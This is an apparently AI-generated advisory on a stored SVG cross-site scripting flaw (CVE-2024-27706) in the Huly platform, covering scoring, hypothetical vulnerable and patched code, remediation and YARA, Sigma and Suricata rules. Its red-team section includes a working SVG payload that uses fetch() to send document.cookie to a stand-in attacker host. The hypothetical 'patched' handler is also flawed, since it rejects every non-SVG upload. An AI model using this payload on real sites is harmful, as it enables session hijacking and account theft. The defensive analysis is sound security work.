CVE-2024-27706

Executive Summary

CVE-2024-27706 identifies a stored Cross-Site Scripting (XSS) vulnerability in the Huly Platform version 0.6.202. An attacker can upload a crafted SVG file to the issues feature, which, when rendered by a victim's browser, executes arbitrary JavaScript. This can lead to session hijacking, data theft, or further compromise of the Huly instance. The vulnerability is publicly known, but no official patch has been confirmed.

Supply Chain & Package Security

Huly is a self-hosted project management platform. The vulnerability lies in the application's file upload handling for SVG files. Since Huly is not distributed via NPM, PyPI, Go, or Ruby, supply chain risks are limited to the integrity of the source code repository and Docker images. Users should verify the authenticity of their Huly installation and monitor for any malicious commits or container images.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Unscored by NVD) Threat Level: High (based on exploitation potential)

Vector (Estimated): CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The attacker uploads the SVG via the web interface.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs a valid user account to upload files.
• User Interaction (UI): Required – Victim must view the issue containing the SVG.
• Scope (S): Changed – The XSS can affect other parts of the application.
• Confidentiality (C): Low – Potential to steal session tokens.
• Integrity (I): Low – Can modify content on behalf of the victim.
• Availability (A): None – No direct impact on availability.

Deep Dive & Mechanics

The vulnerability exists because Huly does not sanitize or validate SVG files uploaded to the issues feature. SVG files are XML-based and can contain embedded JavaScript within <script> tags or event handlers (e.g., onload). When the application serves the SVG to a user's browser, the browser interprets the JavaScript, leading to XSS.

Attack Flow:

1. Attacker logs into Huly and navigates to an issue.
2. Attacher uploads a malicious SVG file (e.g., payload.svg).
3. The SVG contains JavaScript that steals the victim's session cookie.
4. When another user (e.g., admin) views the issue, the SVG is rendered, and the JavaScript executes.
5. The attacker captures the cookie and hijacks the admin session.

Vulnerable vs. Patched Code

Vulnerable Code (Huly 0.6.202): The file upload handler likely accepts any file extension without checking for dangerous content. The SVG is served with a Content-Type of image/svg+xml but without Content-Disposition: attachment, causing the browser to render it inline.

// Hypothetical vulnerable upload handler
app.post('/upload', (req, res) => {
  const file = req.files.file;
  // No validation of file type or content
  fs.writeFileSync(`./uploads/${file.name}`, file.data);
  res.json({ url: `/uploads/${file.name}` });
});

Patched Code (Expected): A patch would involve:

• Validating file MIME type and content.
• Stripping <script> tags and event handlers from SVG files.
• Serving uploaded files with Content-Disposition: attachment to prevent inline rendering.

// Hypothetical patched upload handler
const svgSanitizer = require('svg-sanitizer');
app.post('/upload', (req, res) => {
  const file = req.files.file;
  if (file.mimetype !== 'image/svg+xml') {
    return res.status(400).send('Invalid file type');
  }
  const sanitized = svgSanitizer.sanitize(file.data.toString());
  fs.writeFileSync(`./uploads/${file.name}`, sanitized);
  res.json({ url: `/uploads/${file.name}` });
});

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy Huly 0.6.202 in a Docker container.
2. Create a user account with issue creation privileges.
3. Prepare a malicious SVG file.

Malicious SVG Payload:

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script>
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" fill="red" />
</svg>

Exploitation Steps:

1. Log in as the attacker.
2. Navigate to an issue and upload the SVG file.
3. Share the issue link with the victim (e.g., via email or chat).
4. When the victim views the issue, the SVG executes, sending their cookie to the attacker's server.

Blue Team (Defensive)

Detection:

• Monitor for uploads of SVG files to the issues feature.
• Look for outbound connections to unknown domains from the Huly server.
• Analyze server logs for unusual file upload patterns.

Prevention:

• Implement strict file upload validation (whitelist allowed extensions, check MIME type).
• Use an SVG sanitizer library to strip JavaScript.
• Serve uploaded files with Content-Disposition: attachment and X-Content-Type-Options: nosniff.

Indicators of Compromise (IOCs)

File-Based IOCs:

• SVG files containing <script> tags or event handlers (e.g., onload, onerror).
• Files with names like payload.svg, xss.svg, or similar.

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains from the Huly server.
• Suspicious Referer headers pointing to Huly issue pages.

Log IOCs:

• Repeated uploads of SVG files from the same user.
• Error logs showing failed SVG parsing attempts.

Detection Engineering

YARA Rule

rule CVE_2024_27706_SVG_XSS {
  meta:
    description = "Detects malicious SVG files exploiting CVE-2024-27706"
    author = "Valters IT"
    date = "2024-01-01"
    reference = "CVE-2024-27706"
  strings:
    $svg_header = "<svg"
    $script_tag = "<script"
    $event_handler = /on\w+\s*=\s*["']/
  condition:
    $svg_header and ($script_tag or $event_handler)
}

Sigma Rule

title: CVE-2024-27706 - SVG Upload XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files with embedded JavaScript to Huly issues
logsource:
  category: webserver
  product: huly
detection:
  selection:
    http.method: POST
    http.url: /upload
    http.content_type: image/svg+xml
  condition: selection
falsepositives:
  - Legitimate SVG files without JavaScript
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27706 - SVG Upload XSS"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"image/svg+xml"; http_content_type; pcre:"/<script|on\w+\s*=\s*[\"']/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG file uploads in Huly until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block SVG files with embedded JavaScript.
3. Educate users not to view issues from untrusted sources.

Long-Term Fix:

• Apply the official patch from Huly when released.
• Upgrade to a patched version of Huly.
• Conduct a security audit of file upload functionality.

Workaround:

• Modify the Huly source code to sanitize SVG files using a library like DOMPurify or svg-sanitizer.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.